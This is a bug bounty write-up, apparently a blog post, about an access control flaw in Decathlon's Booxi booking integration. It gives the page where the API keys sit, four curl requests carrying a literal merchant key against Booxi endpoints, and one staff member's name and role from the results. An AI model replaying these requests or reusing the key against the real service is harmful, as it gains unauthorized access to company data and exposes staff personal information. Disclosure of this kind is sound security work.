Post cover image

August 22, 2026

Improper Access Control in Decathlon’s Booxi Integration Leads to Unauthorized Access to Internal…

Hello Hackers,

By 403_forbidd3n

1 min read

None

I'm 403_forbidd3n,_ a cybersecurity researcher and bug bounty hunter._

During assessment of a public e-commerce application DECATHLON,

I came across an interesting Improper Access Contorl issue affecting Internal Staff and Booking Data of DECATHLON infrastructure

Vulnerability Summry:

While reviewing the Decathlon website, I discovered that their integration with Booxi exposes a public Merchant API key directly in frontend JavaScript. Although Booxi documentation states that Merchant keys are public by design, these keys currently allow unauthenticated access — without any restrictions or access controls — to sensitive internal business data via Booxi's booking API.

Steps To Reproduce:

  1. Browse to https://www.decathlon.be/fr/help/app/ask_store/store_code/ click on right mouse and click view page source
None

  1. Search for storeApikeys you'll find a lot of api keys save one of them for test… (every apiKey return different data…)

  2. Open cmd command line (in my case i use windows cmd) and past this bellow requests

1/ merchant
curl -X GET "https://api.booxi.eu/booking/v1/merchant" \ -H "Booxi-APIKey: vEe5A9eQcy0i824b4uN2YJbda46v622J"

Returns:

Store name, address, GPS coordinates
Contact names (e.g., “Fietsen Kortrijk”)
Email and phone number
Internal description, timezone, opening hours

2/ staff
curl -X GET "https://api.booxi.eu/booking/v1/staff" \ -H "Booxi-APIKey: vEe5A9eQcy0i824b4uN2YJbda46v622J"

Returns:

Staff full names and roles
Example: Pierre Gryp, position: Teamleader Mobility

3/ service
curl -X GET "https://api.booxi.eu/booking/v1/service" \ -H "Booxi-APIKey: vEe5A9eQcy0i824b4uN2YJbda46v622J"

Returns:

Service IDs and product-specific metadata
Booking instructions and business rules

4/ serviceCategory (undocumented endpoint)
curl -X GET "https://api.booxi.eu/booking/v1/serviceCategory" \ -H "Booxi-APIKey: vEe5A9eQcy0i824b4uN2YJbda46v622J"

Returns:

Marketing descriptions and product categorization

Impacts:

This exposure allows any unauthenticated user to access:

  1. Personally identifiable information (PII) of staff (names + roles)
  2. Internal service structure and product metadata
  3. Marketing text and booking flow details
None

Thank you for reading Stay Tuned For new Writeups

Follow Me Here :

X (Twitter): https://x.com/Arourmohamed01